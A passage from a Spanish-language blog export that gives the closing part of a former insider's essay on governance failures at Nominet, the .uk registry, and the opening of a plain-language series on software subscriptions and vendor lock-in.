fuera: la resolución DNS, el sistema de registro compartido, el servicio Whois, los depósitos de garantía y las zonas correctamente firmadas están todos vigilados contra umbrales, y caer por uno es un evento de cumplimiento en vez de una simple caída.\nCuenta las zonas. De un lado, .uk, sin contrato. Del otro, varias docenas de gTLD, cada uno bajo un acuerdo de registro y una sonda de vigilancia. La zona sin contrato estaba superada en número en su propia plataforma por algo así como treinta a uno.\nDos regímenes contractuales en una plataforma, y gana el estricto Una plataforma, dos regímenes contractuales Nominet — una plataforma de registro, un juego de runbooks .uk 1 zona sin acuerdo de registro sin Especificación 6 nadie vigilando dominios de primer nivel genéricos ≈30 zonas .cymru\u0026#160;· .wales\u0026#160;· MMX\u0026#160;×28\u0026#160;· .bbc\u0026#160;· .bentley acuerdo de registro de ICANN Spec 6, Spec 10, vigilado desde fuera el régimen estricto se vuelve el estándar de la casa Nadie mantiene dos estándares operativos para preservar una exención para una zona. .uk recibe las reglas de ICANN igualmente\u0026#160;— sin contrato, sin consulta, sin preguntar a nadie en el Reino Unido. Una plataforma llevando los dos regímenes. La zona sin contrato está superada en número unos treinta a uno, así que las reglas escritas para los gTLD se vuelven la forma en que todo se lleva — incluida la zona sobre la que nadie tiene autoridad alguna. Llevar dos regímenes operativos en una plataforma es doloroso, así que no lo haces. Dos procesos de garantía, dos regímenes de vigilancia, dos juegos de runbooks, dos procedimientos de guardia, dos respuestas a la misma pregunta según de qué zona resulte tratar el ticket — así es como se cometen errores a las tres de la mañana. Cuando ICANN manda algo para los gTLD, no lo construyes dos veces. Lo construyes una vez y lo llevas todo encima.\nLo que significa que los requisitos de ICANN aterrizaron sobre .uk también. No porque ICANN tuviera autoridad alguna sobre .uk — no tenía ninguna — sino porque la manera segura más barata de satisfacer una regla que ata la mayor parte de tu parque es aplicarla a todo, y porque mantener a propósito una escisión para que el ccTLD pueda hacer cosas que los gTLD no pueden no te compra nada salvo una segunda manera de que la plataforma se rompa.\nNo se firmó ningún contrato para eso. No hubo ninguna consulta. No se preguntó a nadie en el Reino Unido. Un requisito escrito en Los Ángeles para dominios de primer nivel genéricos moldeó cómo funcionaba el propio registro del país, por vía de una decisión de construcción.\nPara que conste, eso también hizo de ICANN una presencia real en la lista de guardia en vez de una línea en un documento de política. Para parte del parque era una contraparte con un contrato, una sonda apuntada a nuestra infraestructura, y una vía de escalado.\nVender .uk para pagar el resto La lógica comercial de todo esto era la cosa a la que los miembros acabaron objetando.\n.uk es un monopolio. Hay exactamente un sitio donde comprar un dominio .uk, la demanda es casi inelástica, y el margen financia lo que el consejo decide financiar. Desde 2016 The Register planteaba el argumento en voz alta de que a los titulares de .uk se les cobraba de más para subvencionar el resto de la operación.\nBajo el director general Russell Haworth, nombrado en 2015, Nominet empujó fuerte en la ciberseguridad — el contrato del NCSC entre otras cosas — sobre el razonamiento de que un registro sentado sobre infraestructura DNS nacional estaba bien situado para vender servicios de seguridad.\nEsa fue la dirección de marcha durante todo mi tiempo allí. La revuelta no salió de la nada en 2021. Las condiciones para ella se pusieron años antes, a la vista de cualquiera que trabajara en el edificio.\nLa organización benéfica se fue primero En enero de 2018, mientras estaba ahí, Nominet se retiró de su propia fundación benéfica.\nEl Nominet Trust había sido financiado por el registro desde 2008 — £44 millones a lo largo de ese periodo, £4 millones en 2016, £5,4 millones en 2017. Daba dinero a proyectos de tecnología para el bien. Era, en un sentido bastante directo, el beneficio público en una sociedad de beneficio público. Se hizo independiente y en mayo de 2018 se convirtió en Social Tech Trust.\nLa razón declarada por Haworth era que «el modelo de donación de financiador único que montamos en 2008 no era la vía más efectiva hacia el mayor impacto» — the grant-giving, single funder model we set up in 2008 was not the most effective route to greatest impact.\nLo que se anunció al lado era un Cyber Advisory Panel — presidido por Haworth — dirigido al negocio gubernamental y de empresa, respaldado por un programa de marketing y, en las propias palabras de Nominet, potencialmente una adquisición.\nPon esas dos una al lado de la otra, porque se anunciaron juntas. El dinero que salía del edificio hacia una organización benéfica a distancia de brazo se paró. Una empresa comercial presidida por el director ejecutivo arrancó. A los miembros no se les consultó sobre ninguna de las dos.\nUno de ellos, Andrew Bennett, hizo la pregunta obvia en su momento: «¿en qué se van a gastar todos los beneficios de explotación futuros?» — where are all future operating profits going to be spent?\nTres años después el cuerpo de miembros la respondió.\nEsto es también por lo que los párrafos de abajo no son solo mi impresión. El mayor movimiento de dinero de beneficio público de la historia de Nominet pasó de un trust independiente con su propia gobernanza a un panel que el director ejecutivo presidía, en un anuncio, sin preguntar a los dueños. Hagas lo que hagas de la intención, la dirección del dinero está en el registro.\n«Beneficio con un propósito» Esa era la frase — Profit With a Purpose. Era la línea de toda la estrategia y la oímos en abundancia.\nEl problema con ella no era que fuera ambiciosa. Era que las dos mitades se habían separado. El beneficio era real, creciente, y venía de un mercado cautivo que no tenía a ningún otro sitio donde comprar un .uk. El propósito era una diapositiva en una presentación.\nBeneficio arriba, propósito retirado — las dos mitades del eslogan separándose «Profit with a purpose», en las cuentas Propósito — donaciones al Nominet Trust £4,0m 2016 £5,4m 2017 retirado, enero de 2018 Trust soltado a buscar financiadores 2018 en adelante £44m donados en total entre 2008 y 2018 — luego nada. En los mismos años el precio de un dominio .uk subió más de un 50 %. La mitad de beneficio del eslogan funcionaba exactamente como se pretendía. Las dos mitades del eslogan, moviéndose en direcciones opuestas. Las cifras de donación vienen del historial de financiación del Nominet Trust; la subida de precio es la propia queja de los miembros en 2021. Puedes hacer responder a una empresa de un eslogan así, y al final los miembros lo hicieron. Dentro, producía sobre todo el cansancio particular que viene de que te digan en cada reunión general que el empuje comercial es el beneficio público, mientras la línea del beneficio público real baja.\nAdónde fue el dinero Tres cosas corrían mientras estaba ahí, y ninguna de ellas es el DNS para el Reino Unido.\nUn registro de espectro radioeléctrico. Nominet construyó una base de datos TV White Space — un registro de qué frecuencias de radio están libres de uso en un sitio dado en un momento dado — y se hizo aprobar por la FCC como administrador de bases de datos en los Estados Unidos. El argumento era que un registro es un registro, y que una empresa buena para un tipo de búsqueda podía vender otra.\nUn producto de seguridad DNS. NTX, detección de amenazas construida sobre inspeccionar el tráfico DNS, vendida a gobiernos y empresas. En otras palabras un competidor de OpenDNS, es decir un competidor de Cisco, lanzado por un registro de dominios británico.\nCoches sin conductor. Junto con los drones y la internet de las cosas, presentados como la siguiente gran ola de cosas que necesitarían nombrarse y registrarse.\nLo que les pasó es la respuesta a si eran una estrategia. El negocio del espectro se vendió a RED Technologies cuando Nominet se recentró. El trabajo cyber produjo la tecnología detrás del contrato del NCSC, que Nominet luego perdió en 2024. Los coches sin conductor nunca llegaron, ni tampoco los dominios que iban a necesitar.\nCandidatarse para Australia Había una cuarta, y es la que más dice sobre la ambición. En 2018 Nominet se candidató para llevar el registro de Australia.\nauDA, que administra .au, había sacado las operaciones de registro a concurso. Nueve ofertas vinieron de todo el mundo, tres fueron preseleccionadas, y Afilias tomó el relevo el 1 de julio de 2018, poniendo fin a dieciséis años de AusRegistry a los mandos. auDA nunca publicó quién más se candidató, así que no lo encontrarás en el registro — pero Nominet estaba en ello, y yo estaba ahí mientras íbamos a por ello.\nSostén eso contra las otras noticias del mismo año. En enero de 2018 Nominet se retiró de la fundación benéfica a la que había dado £44 millones, con el motivo de que la donación de financiador único no era la vía más efectiva hacia el impacto. En los mismos doce meses se candidataba para llevar el registro de dominios de un país al otro lado del mundo.\nVale también fijarse en qué es el concurso de .au, porque es exactamente lo que la mayoría de la gente supone que .uk debe ser. auDA puede sacar su registro a concurso competitivo y entregárselo a otro, y en 2018 lo hizo. No hay equivalente para .uk. La posición de Nominet no es un contrato que llega a renovación — lo que es una posición más fuerte que la que Afilias ganó en Australia, y como tal vale recordarlo al pesar cuánta presión representaba de verdad el voto de los miembros. Era la única palanca que había.\nY aquí está lo que le estaba pasando a auDA mientras Nominet se candidataba para trabajar para ella.\nAl lado del concurso, el gobierno australiano llevaba una revisión de auDA en sí. En abril de 2018 informó de que el marco de gestión y gobernanza de auDA «ya no era adecuado para su función» — no longer fit-for-purpose —, emitió 29 reformas requeridas como nuevas condiciones de respaldo, y puso a un alto funcionario del Department of Communications en el consejo de auDA para vigilar el trabajo. También dijo, claramente, que transferiría la delegación de .au a otro proveedor si auDA no podía cumplir.\nEso es un gobierno nacional declarando por escrito que moverá el dominio de su país si el cuerpo que lo tiene no se pone las pilas. Los propios miembros de auDA se amotinaban al mismo tiempo — una petición para una asamblea general extraordinaria para retirar a cuatro de sus dirigentes, tres años antes de que los miembros de Nominet hicieran lo mismo a cinco de los suyos.\nDos registros nacionales, dos organizaciones sin ánimo de lucro que tienen el espacio de nombres de un país, ambas acusadas de fallo de gobernanza a menos de cuatro años una de otra. No es una rareza de Nominet. Es lo que esta estructura hace cuando nadie la vigila lo bastante de cerca.\nLo que los miembros vieron En cuanto a por qué esas y no otras — seré prudente, porque puedo decirte a qué se parecía y no lo que había en la cabeza de nadie. La vista ampliamente compartida entre el personal en su momento era que la financiación seguía los entusiasmos de la gente que la aprobaba. No puedo enseñarte un libro mayor y no voy a fingir que puedo.\nLo que sí puedo señalar es que tres años después la queja formal del cuerpo de miembros era una versión más documentada de la misma sospecha — que un cuerpo sin accionistas y con un propósito de beneficio público gastaba el superávit de un monopolio nacional en cosas que convenían a la gente que lo llevaba, y que la donación que se suponía que justificaba todo el arreglo había sido recortada mientras pasaba.\nA dónde fue el excedente de .uk, y cómo acabó cada uno A dónde fue el excedente .uk un comprador, sin rival precios +50 % Nominet Trust £44m en donaciones, 2008 a 2018 parado, enero 2018 base de datos de espectro TV White Space aprobada por la FCC en los Estados Unidos vendida ciberseguridad NTX £12,6m de ingresos en su último año completo £2,4m de pérdidas Puja por operar el registro de Australia nueve pujantes, tres preseleccionados perdida ante Afilias Coches sin conductor, drones, el internet de las cosas la próxima gran ola de cosas que necesitan nombres nunca llegó La única línea que hacía lo que la empresa existía para hacer es la que se cortó. Todo lo de debajo lo pagó la gente que compraba dominios .uk. Cinco destinos para el dinero de un monopolio. Cuatro de ellos acabaron en una venta, una pérdida, una candidatura perdida o nada en absoluto — y el quinto, el que la constitución existía para financiar, fue el que se paró. La queja de los miembros no era que la diversificación esté mal. Era aritmética. Los precios de .uk subieron más del 50 %. La donación benéfica y de beneficio público cayó, mientras la organización sacaba márgenes de monopolio de un activo nacional. El rendimiento operativo iba hacia atrás pese al recorte de costes. La retribución y los bonos de los directivos subían a través de todo ello. Y el retorno de los miembros, ofrecido por los canales que la constitución provee, no iba a ningún sitio desde hacía años.\nUna empresa sin accionistas se había puesto a comportarse como una con accionistas impacientes, y el superávit del espacio de nombres nacional pagaba por ello.\nLos miembros se rebelan La campaña era PublicBenefit.uk, organizada por Simon Blackler de la empresa de alojamiento Krystal. Su resolución era rotunda: retirar a directores nombrados.\nLa respuesta de Nominet es la parte que vale consignar, porque te dice en qué se había convertido la organización.\nHizo campaña contra sus propios miembros con el dinero de los miembros — correos, llamadas de teléfono y envíos urgiendo al rechazo. Se negó a comprometerse con el fondo de la campaña. Cuando la campaña ejerció su derecho a los datos de contacto de los miembros para defender su caso, Nominet no envió una hoja de cálculo. Envió un paquete físico con los detalles impresos en más de 500 hojas de papel, con las direcciones de correo dejadas fuera.\nTambién bloqueó una segunda resolución que habría instalado a dos directores interinos cualificados, con el argumento de que no era legal — y luego criticó a la campaña por no tener un plan de sucesión.\nEl 22 de marzo de 2021 fue a votación. La participación fue del 53 %. La resolución salió con el 52,7 %, y cinco de los once miembros del consejo se fueron:\nMark Wood Presidente Russell Haworth Director general Eleanor Bradley Directora general, Registro Ben Hill Director financiero Jane Tozer Consejera no ejecutiva Haworth dimitió horas antes del voto en vez de perderlo. Rob Binns se convirtió en presidente en funciones.\nAquí está a lo que creo que ese dúo venía a ser, y lo señalo como opinión porque eso es lo que es.\nWood y Haworth llevaron Nominet como un fondo de capital riesgo lleva una empresa de cartera. No como un registro que resulta producir un superávit, sino como un balance con un activo infrautilizado atornillado encima — un monopolio cautivo escupiendo liquidez que se podría emplear mejor en algún sitio con más recorrido.\nCada cosa documentada arriba es coherente con eso. Coges el ingreso fiable y le subes el precio, porque los clientes no tienen a ningún otro sitio donde ir. Paras la salida que no produce retorno, es decir la organización benéfica. Metes la diferencia en una cartera — espectro, cyber, un registro extranjero, coches sin conductor — sobre la teoría de que uno de ellos sale bien. Pagas a la gente que lo dirige a la tarifa que ese tipo de trabajo manda. Y sigues hasta que alguien con la talla para pararte lo hace.\nNo hay nada inusual en llevar una empresa de esa manera. No es manera de llevar un cuerpo de beneficio público que tiene un activo nacional en fideicomiso, porque ese superávit nunca fue capital en busca de un retorno. Era la cosa que todo el arreglo existía para producir, y la constitución lo decía.\nLos miembros acabaron diciendo lo mismo, en el único lenguaje que les estaba disponible.\nVale ser honesto sobre el margen. El 52,7 % sobre una participación del 53 % no es una avalancha, es una victoria estrecha sobre un cuerpo de miembros dividido, y la organización lo combatió con todos los recursos que tenía. Aun así perdió.\nLo que pasó después Nominet se retiró de la dirección cyber comercial y se giró hacia el trabajo de registro y de beneficio público. Luego llegaron los números.\nEl núcleo del negocio hizo pico el año en que me fui. Los dominios .uk bajo gestión toparon en 13 348 378 en 2019. Para enero de 2023 eso era 11 045 559. Para enero de 2024, 10 688 932. Un quinto de la base, ido, y aún cayendo.\nLa diversificación perdió dinero. En su último año completo antes de las cuentas, la unidad cyber facturó £12,6 millones y arrojó una pérdida de £2,4 millones. Esa es la respuesta a si los proyectos que el superávit pagaba eran una inversión o un capricho, y es la propia cifra de Nominet.\nLuego el contrato se fue. En 2024 el NCSC volvió a sacar a concurso el Protective DNS — un servicio que maneja alrededor de medio billón de consultas al año — y Nominet lo perdió. El trabajo fue a Cloudflare con Accenture a partir de septiembre de 2024, en un acuerdo reportado en unos £30 millones. El director ejecutivo Paul Fletcher dijo que el gobierno había elegido un competidor más barato.\nY el libro de back-end rota. En abril de 2021, semanas después de la asamblea general extraordinaria, MMX vendió su cartera a GoDaddy Registry por 120 millones de dólares — y las 28 cadenas que habían puesto a Nominet en el primer rango de operadores de registro se fueron con el comprador. .blog ya se había ido a CentralNic en 2019.\nEs justo decir que esto va en los dos sentidos. Amazon movió el grueso de sus 54 gTLD a la plataforma de Nominet en 2019, y Microsoft más tarde pasó .skype y .office desde GoDaddy. Nominet gana carteras tanto como las pierde.\nPero ese es justamente el punto sobre el negocio, no una defensa de él. Los servicios de registro en back-end son ingreso que no controlas. Llega y se va en la transacción corporativa de otro — MMX no se fue porque Nominet llevara mal la plataforma, se fue porque MMX fue vendido. Construir las finanzas de un cuerpo de beneficio público sobre un libro de negocio que puede irse un martes porque su dueño se llevó 120 millones de dólares es una elección estratégica, y se tomó.\nY el mismo año, ganó .gov.uk.\n.gov.uk lo había llevado Jisc durante años, pro bono, bajo un antiguo memorándum de entendimiento — un arreglo del que el gobierno acabó concluyendo que no cumplía las normas reconocidas internacionalmente. El Central Digital and Data Office llevó una contratación vía el Crown Commercial Service, Nominet la ganó en noviembre de 2023, y la transición se completó el 26 de junio de 2024, calzada una semana antes de las elecciones generales para tener el registro de votantes fuera de peligro. La propia página de registro de Jisc ahora consigna la fecha llanamente — a 26 de junio de 2024 ya no gestiona el espacio de nombres .gov.uk, aunque se quedó como registrador para algunos clientes. Veintiocho años llevando un espacio de nombres nacional, terminando en una línea en una página web.\nLos requisitos declarados eran resiliencia, cumplimiento con las normas DNS de ICANN, y satisfacer el Cyber Assessment Framework del NCSC.\nLee eso contra el argumento de antes en este artículo. La razón por la que Nominet era un candidato creíble para el propio espacio de nombres del gobierno es que ya funcionaba según las normas de ICANN — normas que había adoptado porque la mayor parte de su parque estaba contractualmente atado a ellas, y que alcanzaron .uk porque nadie mantiene dos regímenes en una plataforma. La disciplina que llegó de lado, por los contratos gTLD, es lo que la cualificó para llevar .gov.uk.\nAsí que 2024 no fue simplemente un mal año. Perdió el mayor contrato que tenía y ganó el que lleva el nombre del gobierno.\nDos cosas sobre esa victoria valen fijarse, porque son la diferencia entre operar un espacio de nombres y tenerlo.\nEl gobierno se quedó la autoridad. Nominet lleva el registro. El Central Digital and Data Office aún gestiona y aprueba las solicitudes — quién tiene derecho a un .gov.uk sigue siendo una decisión gubernamental, no del registro. No es así como funciona .co.uk, donde registradores acreditados venden a quien se presente. La operación técnica se externalizó. La palabra sobre el espacio de nombres no.\nY es un contrato. .gov.uk se contrató vía el Crown Commercial Service, lo que significa que tiene un plazo y una fecha de fin, y el gobierno ya ha demostrado exactamente una vez lo que hace cuando decide que el arreglo no es lo bastante bueno: movió todo el asunto de Jisc después de una veintena de años.\nAsí que Nominet tiene .gov.uk en condiciones en las que no tiene .uk. Uno puede recuperarse al final de un contrato por un funcionario que decide no renovar. El otro no tiene contrato, ni plazo ni renovación — y los únicos que han conseguido jamás disciplinarlo tuvieron que organizar un voto de los miembros para hacerlo.\nEn marzo de 2024, con el PDNS ido y .uk en reducción, Fletcher anunció una reestructuración con hasta 70 puestos amenazados.\nY luego la línea que cierra el círculo. Fletcher notó que la tarificación de los dominios «no puede mantenerse en el nivel fijado en enero de 2020 indefinidamente» — cannot be held at the level set in January 2020 indefinitely.\nLas subidas de precio de .uk estaban entre las cosas por las que los miembros se rebelaron. Cinco años después, con la diversificación liquidada a pérdida, el contrato estrella perdido ante uno más barato y los registros cayendo, la respuesta que se prepara es volver a subir el precio de .uk.\nY la vista desde dentro no se ha recuperado Los miembros consiguieron su cambio de consejo. Si recuperaron la organización es una pregunta aparte.\nA 25 de agosto de 2026 la nota de Glassdoor de Nominet se sitúa en 2,9 sobre 5 sobre 97 reseñas, con un 31 % diciendo que la recomendaría, un 22 % positivo sobre las perspectivas del negocio y un 29 % aprobando al director ejecutivo. La categoría con peor nota es la dirección superior, con un 2,3. Los evaluadores puntúan alto a sus colegas y el trabajo. Lo que no puntúan es la capa por encima de ellos.\nEs una nota mediocre en vez de demoledora, y debería leerse por lo que es: una muestra autoseleccionada en un sitio público. Pero la forma de la queja es reconociblemente la que los miembros hicieron en 2021 — una estrategia que nadie puede explicar, la recompensa fluyendo hacia arriba, y a la gente que lleva el registro nacional sin que se le pregunte.\nDirector ejecutivo distinto. La misma queja.\nLo que dice sobre quién gobierna un ccTLD Vuelve a la pregunta de arriba.\nICANN no podría haber hecho nada de esto. No tenía contrato sobre .uk, ni legitimación, ni mecanismo más allá de escribir una carta. Todo en el artículo de ICANN sobre la Especificación 6, el cumplimiento y la vigilancia aplicaba a los gTLD de Nominet y no a la zona que de verdad importa al país.\nEl gobierno británico tampoco lo hizo, y vale ser claro sobre por qué, porque la suposición corriente es falsa. .uk no se adjudica sobre un contrato gubernamental. No hay concurso, ni fecha de renovación ni competidor esperando para candidatarse. Nominet tiene la delegación de IANA, de la misma forma que todo otro registro de código de país tiene la suya, y nadie la reparte cada pocos años.\nLo que el gobierno sí tiene es un poder de reserva, y casi nadie sabe que está ahí.\nLos artículos 19 a 21 del Digital Economy Act 2010 dejan al Secretary of State actuar donde hay un «fallo relevante grave» — serious relevant failure — en un registro de dominio de internet cualificado: un fallo que afecta negativamente a la disponibilidad o la reputación de las comunicaciones británicas, o a los intereses de los consumidores o del público. Nominet es ese registro. Tras notificación y una oportunidad de hacer alegaciones, el Secretary of State puede nombrar un gestor sobre el registro, o acudir al tribunal para alterar su constitución.\nEso es bastante más de lo que ICANN ha tenido jamás sobre ningún ccTLD. Y aquí está la parte que vale detenerse en ella: esos dos artículos quedaron dormidos durante catorce años, y se pusieron en vigor el 6 de abril de 2024 — el mismo año en que Nominet perdió el contrato del NCSC y anunció 70 despidos.\nNo voy a afirmar que esos hechos estén conectados, porque no sé que lo estén. Lo que está en el registro es que el poder de meter un gestor en el registro .uk se volvió vivo en 2024, y no lo había sido los catorce años de antes.\nY esa es solo la vía doméstica. Hay una segunda, y es la razón por la que ningún operador de ccTLD en ninguna parte tiene su delegación por derecho.\nUna delegación de código de país se puede mover. IANA redelega los ccTLD, bajo el RFC 1591, el ICP-1 y los GAC Principles, y lo ha hecho repetidamente — .kz, .iq, .za, .gd, .gw y otros. Los GAC Principles sostienen que cada gobierno lleva la responsabilidad última sobre su propio territorio para la política pública nacional, y en la práctica IANA trata la opinión del gobierno reconocido como una consideración mayor en cualquier transferencia del dominio de su país.\nAustralia, como arriba, puso eso por escrito en 2018 — reformar o la delegación se mueve.\nAsí que un gobierno británico que decidiera que .uk necesita estar en otro sitio no quedaría bloqueado. No sería instantáneo, no es un poder ejercido por anuncio, y se consultaría a la comunidad de internet local. Pero la maquinaria existe, los precedentes existen, y la opinión del gobierno es la entrada única más pesada en ello.\nLo que pone a .uk en una posición que vale enunciar llanamente. Las comunicaciones son uno de los sectores de infraestructura nacional crítica del Reino Unido, y el Estado trata el DNS en consecuencia — el NCSC lleva años comprando DNS protector para el sector público. Un registro que lleva infraestructura nacional crítica, cuyo gobierno puede nombrar un gestor sobre él a nivel doméstico y cuya palabra inclinaría la balanza en una redelegación a nivel internacional, no tiene su delegación como una propiedad. La tiene por tolerancia, y la tolerancia está condicionada a no avergonzar a nadie.\nLo que lo disciplinó fue un voto de los miembros, por poco, seis años después del comienzo del problema, tras una campaña llevada por una sola empresa de alojamiento que tuvo que verse entregar los datos de contacto de sus propios miembros en 500 hojas de papel para defender su caso.\nEs un mejor mecanismo de rendición de cuentas que cualquier cosa que ICANN tenga. Retiró al director ejecutivo y al presidente de un registro nacional, cosa que ningún proceso de ICANN ha hecho jamás a nadie. Es también lento, conflictivo, dependiente de que alguien decida dedicarle un año de su vida, y pasó a un par de puntos porcentuales del fracaso.\nLo cual es más o menos donde está la gobernanza del DNS en todas partes. Los mecanismos que funcionan son los que alguien con recursos elige accionar. .cm puso un comodín en todo un dominio de primer nivel durante años porque nadie con legitimación objetó. Freenom solo se paró cuando Meta demandó. .uk cambió de rumbo porque una empresa de alojamiento organizó un voto.\nNada de eso es gobernanza en el sentido que la palabra implica. Es quien resultó presentarse.\nUna idea libre para terminar Todo lo que precede está o bien referenciado, o bien marcado como mi propia experiencia. Esta última parte no es ni lo uno ni lo otro. Es lo que pienso, y eres libre de estar en desacuerdo.\nEmpecé en Nominet en 2017, lo que hace nueve años. Russell Haworth tomó el relevo en 2015, lo que hace once. Es lo bastante largo para que una organización haya aprendido algo.\n¿Lo ha hecho?\nSobre el papel, sí. El consejo que fue votado fuera se ha ido. Las ambiciones cyber comerciales están liquidadas. El brazo benéfico se hizo independiente y sigue funcionando bajo su propio nombre. Los miembros usaron el único mecanismo que tenían y funcionó.\nLuego mira lo que está de verdad delante de ti. .uk es un quinto más pequeño de lo que era en 2019 y sigue reduciéndose. El contrato que la diversificación acabó produciendo se ha ido a uno más barato. Setenta puestos se fueron con él. El director ejecutivo hace ver que la tarificación de .uk no puede mantenerse en los niveles de 2020 indefinidamente — que es la misma palanca que ayudó a arrancar el problema en primer lugar. Y el personal puntúa la dirección superior 2,3 sobre 5, con un 29 % aprobando al director ejecutivo. Un director ejecutivo distinto, y reconociblemente la misma queja.\nAsí que mi respuesta honesta es que a las personas se les cambió y no estoy convencido de que a la organización sí.\nVale notar adónde fue Haworth después, porque no es una crítica y es exactamente por eso por lo que importa. Antes de Nominet había pasado catorce años en Thomson Reuters, en datos financieros. Después fue a NBS, luego a Byggfakta, luego a Acclaro — negocios por suscripción con clientes profesionales, ingreso recurrente y poder de fijar precios. NBS facturó £45 M con £23,6 M de EBITDA en 2023. Son buenos números, y conseguirlos es para lo que sirve un director ejecutivo comercial.\nLo cual es justamente el punto, y no tienes que creerme sobre la palabra para la caracterización. Su propio perfil profesional lo describe como un director ejecutivo para negocios B2B respaldados por capital riesgo. Ese es el oficio que hace, lo dice él mismo, y es claramente bueno en ello.\nEs un operador comercial e hizo cosas comerciales. El error nunca fue su temperamento — fue poner ese temperamento al frente de una organización cuyo superávit no era capital y nunca se suponía que lo fuera, y luego no dejar a nadie en posición de controlarlo durante seis años.\nAunque NBS vale un segundo vistazo, porque la forma de ello es familiar.\nNBS vende Chorus, la herramienta de especificación en la que trabaja la mayoría de los estudios de arquitectura británicos. Está cableada en los flujos de Revit y de ISO 19650, y no hay alternativa seria — los arquitectos la describen como una herramienta vital que simplemente tienen que seguir pagando. La licencia de un profesional pasó de £1 385 en 2015 a £7 350, lo que el Architects\u0026rsquo; Journal reportó como una subida del 400 % en una década. No hay tarifa para estudio pequeño, así que un profesional solo paga lo mismo por puesto que un estudio de 200 personas. Las palabras en la prensa especializada son «subidas de estafa» y «muy por encima de la inflación» — rip-off increases, well above inflation —, junto a la observación de que hay poca alternativa a pagar.\nTen cuidado con la atribución, porque las fechas no se alinean como quizá querrías. Chorus se lanzó en 2018. RIBA vendió NBS entre 2018 y 2020 por unos £172 millones, y un antiguo presidente de RIBA ha dicho que nunca debería haber cedido el control — una frase con cierto eco. Haworth dirigió el negocio de octubre de 2021 a octubre de 2024. Las subidas más fuertes reportadas, y las quejas más ruidosas, son de 2024 y 2025, después de irse, y el director ejecutivo que las defiende públicamente ahora es otro.\nAsí que esto no es prueba sobre un hombre. Es prueba sobre una forma.\nUn cuerpo profesional vende la herramienta sin la que sus miembros no pueden trabajar. El comprador descubre que los clientes no pueden irse. El precio sube muy por encima de la inflación, año tras año, y las quejas no van a ningún sitio porque no hay a dónde puedan ir. Eso es .uk, y es lo que .org casi llegó a ser cuando ICANN levantó los topes de precio cuatro meses antes de que un vehículo de capital riesgo ofreciera 1135 millones de dólares por él.\nLo cual es la verdadera lección, y no es cómoda para nadie que esperara que esto fuera sobre un solo directivo. Clientes profesionales cautivos, una herramienta esencial, ningún proveedor alternativo: ese arreglo produce el mismo resultado quienquiera que lo lleve, a menos que algo se ponga en medio. En Nominet los miembros acabaron siéndolo. En NBS no hay nadie — el cuerpo profesional que podría haber hecho ese papel vendió su parte y se marchó con £172 millones.\nNo creo que eso sea tampoco de verdad sobre un individuo. Pon a cualquiera al frente de un monopolio propiedad de sus miembros que lleva un activo nacional sin regulador que vigile, y dale un superávit sin dueño evidente, y la atracción irá siempre hacia gastarlo en algo más interesante que la cosa que lo gana. Llevar .uk bien no es una historia que puedas contar en una conferencia. Candidatarse para Australia, sí.\nLa corrección, cuando llega, tiene que venir de los miembros — lo que significa que alguien tiene que renunciar a un año de su vida para organizar un voto contra un titular que gasta el dinero de esos mismos miembros para resistirlo. Eso pasó una vez, y salió por 2,7 puntos porcentuales sobre una participación del 53 %. Nadie diseñaría un mecanismo de rendición de cuentas de esa forma.\nLos dos verdaderos colchones de seguridad quedaron sin usar todo el tiempo. Los poderes del Digital Economy Act solo entraron en vigor en 2024. Una redelegación nunca la ha sugerido en serio nadie.\nNueve años después, lo que me gustaría saber, y no puedo decir desde fuera, es si alguien en Nominet hoy podría decir en voz alta en una reunión — somos una organización sin ánimo de lucro, ¿de verdad deberíamos gastar dinero en esto? — y seguir trabajando ahí un año después.\nSi la respuesta es sí, ha aprendido algo. Si es no, entonces todo lo que cambió en 2021 fueron los nombres.\n","permalink":"https://blogs.damiendye.uk/es/dns/what-happened-at-nominet/","summary":"El registro .uk es propiedad de sus miembros, y en marzo de 2021 votaron la salida de la mitad del consejo. A qué se parecía el parque de verdad desde dentro, por qué llevar .uk junto a docenas de gTLD moldeó cómo se gestionaba, y cómo un registro sin regulador acabó disciplinado por los únicos que podían.","title":"Lo que pasó en Nominet"},{"content":"Parte 1 de 8. Esta serie está escrita de forma sencilla, con líneas cortas y palabras de cada día.\nQué cubre esta entrada Qué cambió en cómo compras tecnología. Por qué cambió. Por qué irse de un proveedor se hizo más difícil. Por qué el código abierto no le puso fin. Dónde ha acabado todo el asunto. El cambio Hace veinte años, comprabas software.\nPagabas una vez. Esa copia era tuya. Podías seguir usándola mientras funcionara.\nAhora la mayor parte del software se alquila. Pagas cada año solo por seguir usándolo.\nDeja de pagar, y deja de funcionar. No posees nada.\nEso es lo que es una suscripción. Una suscripción es un pago que haces una y otra vez para conservar un servicio.\nLo mismo le pasó a la computación misma. Antes comprabas servidores. Ahora muchas organizaciones alquilan su computación a un proveedor de nube.\nUn proveedor de nube es una empresa que hace funcionar los ordenadores por ti, en sus propios edificios.\nPor qué cambió Seamos justos con esto, porque importa. Cambió porque alquilar era a menudo el mejor trato.\nComprar servidores cuesta mucho por adelantado. Alquilar cuesta muy poco por adelantado.\nLos servicios de nube eran fiables y rápidos de montar. Los equipos pequeños consiguieron herramientas que antes solo las grandes empresas podían permitirse.\nLas suscripciones trajeron también actualizaciones regulares. Se acabó planificar un gran vuelco cada pocos años.\nAsí que la mayoría de las organizaciones se mudaron, y tenían buenas razones. A nadie lo obligaron.\nLa pregunta que hace esta serie viene después. Es sobre lo que pasa una vez que irse a otra parte se ha vuelto difícil.\nPor qué irse se hizo más difícil Aquí está la parte que importa.\nCada paso de este cambio movió el sitio donde era difícil irse.\nAl principio estaba en el formato de fichero. Un formato de fichero es la forma en que un programa guarda tu trabajo. Si solo un programa podía abrir tus ficheros, seguías comprando ese programa.\nLos formatos de fichero abiertos arreglaron eso. La mayoría de los documentos de hoy se abren en más de un programa.\nAsí que la parte difícil se movió. Se fue a la interfaz.\nUna interfaz es la forma en que una pieza de software habla con otra. Construye todos tus sistemas alrededor de la interfaz de un proveedor, y cambiar de proveedor significa reescribirlo todo.\nLuego se movió otra vez, a tus datos.\nMover una cantidad pequeña de datos es bastante fácil. Mover años de ellos es lento, y algunos proveedores te cobran por sacarlos.\nCada movimiento hizo que el software en sí importara menos. Por eso, lo que cuenta ahora es cuánto trabajo te costaría irte.\nDónde ha estado la dificultad de marcharse, con el tiempo Antes Después Hoy Tus datos Formato de archivo Interfaz El programa Tus datos Formato de archivo Interfaz El programa Tus datos Formato de archivo Interfaz El programa El cuadro azul es la parte que cuesta cambiar. Cada vez que se abrió una capa, la dificultad pasó a la siguiente. Las mismas capas, 3 veces. La parte difícil de cambiar ha subido: el formato de fichero primero, luego la interfaz, luego los datos. Por qué el 